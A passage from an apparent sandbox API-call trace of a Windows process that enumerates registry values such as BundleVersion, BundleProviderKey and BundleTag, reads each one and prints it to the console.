lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.506] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.506] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.506] __iob_func () returned 0x7fefd702a80 [0149.506] _fileno (_File=0x7fefd702ab0) returned 1 [0149.506] _errno () returned 0x204bb0 [0149.506] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.506] _errno () returned 0x204bb0 [0149.506] GetFileType (hFile=0x50) returned 0x1 [0149.506] lstrlenW (lpString="\n") returned 1 [0149.507] GetConsoleOutputCP () returned 0x1b5 [0149.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.507] GetConsoleOutputCP () returned 0x1b5 [0149.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.507] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.507] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.507] GetProcessHeap () returned 0x3c0000 [0149.507] GetProcessHeap () returned 0x3c0000 [0149.507] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.507] GetProcessHeap () returned 0x3c0000 [0149.507] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.507] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.507] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.507] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1c) returned 0x0 [0149.507] GetProcessHeap () returned 0x3c0000 [0149.507] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1e) returned 0x3d5c30 [0149.507] GetProcessHeap () returned 0x3c0000 [0149.507] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.507] GetProcessHeap () returned 0x3c0000 [0149.507] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0149.507] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1c | out: pdwType=0x29f700*=0x1, pvData="11.0.61030.0", pcbData=0x29f780*=0x1a) returned 0x0 [0149.507] __iob_func () returned 0x7fefd702a80 [0149.507] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.507] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.507] _fileno (_File=0x7fefd702ab0) returned 1 [0149.507] _errno () returned 0x204bb0 [0149.507] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.507] _errno () returned 0x204bb0 [0149.508] GetFileType (hFile=0x50) returned 0x1 [0149.508] lstrlenW (lpString=" ") returned 4 [0149.508] GetConsoleOutputCP () returned 0x1b5 [0149.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.508] GetConsoleOutputCP () returned 0x1b5 [0149.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.508] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.508] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.508] lstrlenW (lpString="BundleVersion") returned 13 [0149.508] __iob_func () returned 0x7fefd702a80 [0149.508] _fileno (_File=0x7fefd702ab0) returned 1 [0149.508] _errno () returned 0x204bb0 [0149.508] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.508] _errno () returned 0x204bb0 [0149.508] GetFileType (hFile=0x50) returned 0x1 [0149.508] lstrlenW (lpString="BundleVersion") returned 13 [0149.508] GetConsoleOutputCP () returned 0x1b5 [0149.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.508] GetConsoleOutputCP () returned 0x1b5 [0149.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleVersion", lpUsedDefaultChar=0x0) returned 13 [0149.508] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.508] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.509] __iob_func () returned 0x7fefd702a80 [0149.509] _fileno (_File=0x7fefd702ab0) returned 1 [0149.509] _errno () returned 0x204bb0 [0149.509] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.509] _errno () returned 0x204bb0 [0149.509] GetFileType (hFile=0x50) returned 0x1 [0149.509] lstrlenW (lpString=" ") returned 4 [0149.509] GetConsoleOutputCP () returned 0x1b5 [0149.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.509] GetConsoleOutputCP () returned 0x1b5 [0149.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.509] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.509] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.509] __iob_func () returned 0x7fefd702a80 [0149.509] _fileno (_File=0x7fefd702ab0) returned 1 [0149.509] _errno () returned 0x204bb0 [0149.509] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.509] _errno () returned 0x204bb0 [0149.509] GetFileType (hFile=0x50) returned 0x1 [0149.509] lstrlenW (lpString="REG_SZ") returned 6 [0149.509] GetConsoleOutputCP () returned 0x1b5 [0149.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.509] GetConsoleOutputCP () returned 0x1b5 [0149.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.510] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.510] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.510] __iob_func () returned 0x7fefd702a80 [0149.510] _fileno (_File=0x7fefd702ab0) returned 1 [0149.510] _errno () returned 0x204bb0 [0149.510] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.510] _errno () returned 0x204bb0 [0149.510] GetFileType (hFile=0x50) returned 0x1 [0149.510] lstrlenW (lpString=" ") returned 4 [0149.510] GetConsoleOutputCP () returned 0x1b5 [0149.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.510] GetConsoleOutputCP () returned 0x1b5 [0149.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.510] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.510] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.510] __iob_func () returned 0x7fefd702a80 [0149.510] _fileno (_File=0x7fefd702ab0) returned 1 [0149.510] _errno () returned 0x204bb0 [0149.510] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.510] _errno () returned 0x204bb0 [0149.510] GetFileType (hFile=0x50) returned 0x1 [0149.510] lstrlenW (lpString="11.0.61030.0") returned 12 [0149.510] GetConsoleOutputCP () returned 0x1b5 [0149.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030.0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.511] GetConsoleOutputCP () returned 0x1b5 [0149.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030.0", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.0.61030.0", lpUsedDefaultChar=0x0) returned 12 [0149.511] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.511] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.511] __iob_func () returned 0x7fefd702a80 [0149.511] _fileno (_File=0x7fefd702ab0) returned 1 [0149.511] _errno () returned 0x204bb0 [0149.511] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.511] _errno () returned 0x204bb0 [0149.511] GetFileType (hFile=0x50) returned 0x1 [0149.511] lstrlenW (lpString="\n") returned 1 [0149.511] GetConsoleOutputCP () returned 0x1b5 [0149.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.511] GetConsoleOutputCP () returned 0x1b5 [0149.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.511] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.511] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.511] GetProcessHeap () returned 0x3c0000 [0149.511] GetProcessHeap () returned 0x3c0000 [0149.511] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.511] GetProcessHeap () returned 0x3c0000 [0149.511] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0149.511] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.512] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleProviderKey", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.512] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x50) returned 0x0 [0149.512] GetProcessHeap () returned 0x3c0000 [0149.512] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x52) returned 0x3db830 [0149.512] GetProcessHeap () returned 0x3c0000 [0149.512] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.512] GetProcessHeap () returned 0x3c0000 [0149.512] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0149.512] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x50 | out: pdwType=0x29f700*=0x1, pvData="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", pcbData=0x29f780*=0x4e) returned 0x0 [0149.512] __iob_func () returned 0x7fefd702a80 [0149.512] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.512] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.512] _fileno (_File=0x7fefd702ab0) returned 1 [0149.512] _errno () returned 0x204bb0 [0149.512] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.512] _errno () returned 0x204bb0 [0149.512] GetFileType (hFile=0x50) returned 0x1 [0149.512] lstrlenW (lpString=" ") returned 4 [0149.512] GetConsoleOutputCP () returned 0x1b5 [0149.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.512] GetConsoleOutputCP () returned 0x1b5 [0149.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.512] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.512] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.512] lstrlenW (lpString="BundleProviderKey") returned 17 [0149.512] __iob_func () returned 0x7fefd702a80 [0149.512] _fileno (_File=0x7fefd702ab0) returned 1 [0149.512] _errno () returned 0x204bb0 [0149.513] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.513] _errno () returned 0x204bb0 [0149.513] GetFileType (hFile=0x50) returned 0x1 [0149.513] lstrlenW (lpString="BundleProviderKey") returned 17 [0149.513] GetConsoleOutputCP () returned 0x1b5 [0149.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0149.513] GetConsoleOutputCP () returned 0x1b5 [0149.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleProviderKey", lpUsedDefaultChar=0x0) returned 17 [0149.513] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0149.513] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.513] __iob_func () returned 0x7fefd702a80 [0149.513] _fileno (_File=0x7fefd702ab0) returned 1 [0149.513] _errno () returned 0x204bb0 [0149.513] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.513] _errno () returned 0x204bb0 [0149.513] GetFileType (hFile=0x50) returned 0x1 [0149.513] lstrlenW (lpString=" ") returned 4 [0149.513] GetConsoleOutputCP () returned 0x1b5 [0149.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.513] GetConsoleOutputCP () returned 0x1b5 [0149.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.514] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.514] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.514] __iob_func () returned 0x7fefd702a80 [0149.514] _fileno (_File=0x7fefd702ab0) returned 1 [0149.514] _errno () returned 0x204bb0 [0149.514] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.514] _errno () returned 0x204bb0 [0149.514] GetFileType (hFile=0x50) returned 0x1 [0149.514] lstrlenW (lpString="REG_SZ") returned 6 [0149.514] GetConsoleOutputCP () returned 0x1b5 [0149.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.514] GetConsoleOutputCP () returned 0x1b5 [0149.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.514] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.514] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.514] __iob_func () returned 0x7fefd702a80 [0149.514] _fileno (_File=0x7fefd702ab0) returned 1 [0149.514] _errno () returned 0x204bb0 [0149.514] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.514] _errno () returned 0x204bb0 [0149.514] GetFileType (hFile=0x50) returned 0x1 [0149.514] lstrlenW (lpString=" ") returned 4 [0149.514] GetConsoleOutputCP () returned 0x1b5 [0149.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.515] GetConsoleOutputCP () returned 0x1b5 [0149.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.515] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.515] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.515] __iob_func () returned 0x7fefd702a80 [0149.515] _fileno (_File=0x7fefd702ab0) returned 1 [0149.515] _errno () returned 0x204bb0 [0149.515] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.515] _errno () returned 0x204bb0 [0149.515] GetFileType (hFile=0x50) returned 0x1 [0149.515] lstrlenW (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38 [0149.515] GetConsoleOutputCP () returned 0x1b5 [0149.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0149.515] GetConsoleOutputCP () returned 0x1b5 [0149.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpUsedDefaultChar=0x0) returned 38 [0149.515] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0149.515] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.515] __iob_func () returned 0x7fefd702a80 [0149.515] _fileno (_File=0x7fefd702ab0) returned 1 [0149.515] _errno () returned 0x204bb0 [0149.515] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.515] _errno () returned 0x204bb0 [0149.515] GetFileType (hFile=0x50) returned 0x1 [0149.515] lstrlenW (lpString="\n") returned 1 [0149.516] GetConsoleOutputCP () returned 0x1b5 [0149.516] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.516] GetConsoleOutputCP () returned 0x1b5 [0149.516] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.516] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.516] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.516] GetProcessHeap () returned 0x3c0000 [0149.516] GetProcessHeap () returned 0x3c0000 [0149.516] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.516] GetProcessHeap () returned 0x3c0000 [0149.516] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0149.516] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.516] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleTag", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.516] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2) returned 0x0 [0149.516] GetProcessHeap () returned 0x3c0000 [0149.516] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x4) returned 0x3dee90 [0149.516] GetProcessHeap () returned 0x3c0000 [0149.516] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.516] GetProcessHeap () returned 0x3c0000 [0149.516] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0149.516] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x2 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.516] __iob_func () returned 0x7fefd702a80 [0149.516] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.516] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.516] _fileno (_File=0x7fefd702ab0) returned 1 [0149.516] _errno () returned 0x204bb0 [0149.516] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.516] _errno () returned 0x204bb0 [0149.516] GetFileType (hFile=0x50) returned 0x1 [0149.517] lstrlenW (lpString=" ") returned 4 [0149.517] GetConsoleOutputCP () returned 0x1b5 [0149.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.517] GetConsoleOutputCP () returned 0x1b5 [0149.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.517] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.517] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.517] lstrlenW (lpString="BundleTag") returned 9 [0149.517] __iob_func () returned 0x7fefd702a80 [0149.517] _fileno (_File=0x7fefd702ab0) returned 1 [0149.517] _errno () returned 0x204bb0 [0149.517] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.517] _errno () returned 0x204bb0 [0149.517] GetFileType (hFile=0x50) returned 0x1 [0149.517] lstrlenW (lpString="BundleTag") returned 9 [0149.517] GetConsoleOutputCP () returned 0x1b5 [0149.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.517] GetConsoleOutputCP () returned 0x1b5 [0149.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleTag", lpUsedDefaultChar=0x0) returned 9 [0149.517] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.517] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.518] __iob_func () returned 0x7fefd702a80 [0149.518] _fileno (_File=0x7fefd702ab0) returned 1 [0149.518] _errno () returned 0x204bb0 [0149.518] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.518] _errno () returned 0x204bb0 [0149.518] GetFileType (hFile=0x50) returned 0x1 [0149.518] lstrlenW (lpString=" ") returned 4 [0149.518] GetConsoleOutputCP () returned 0x1b5 [0149.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 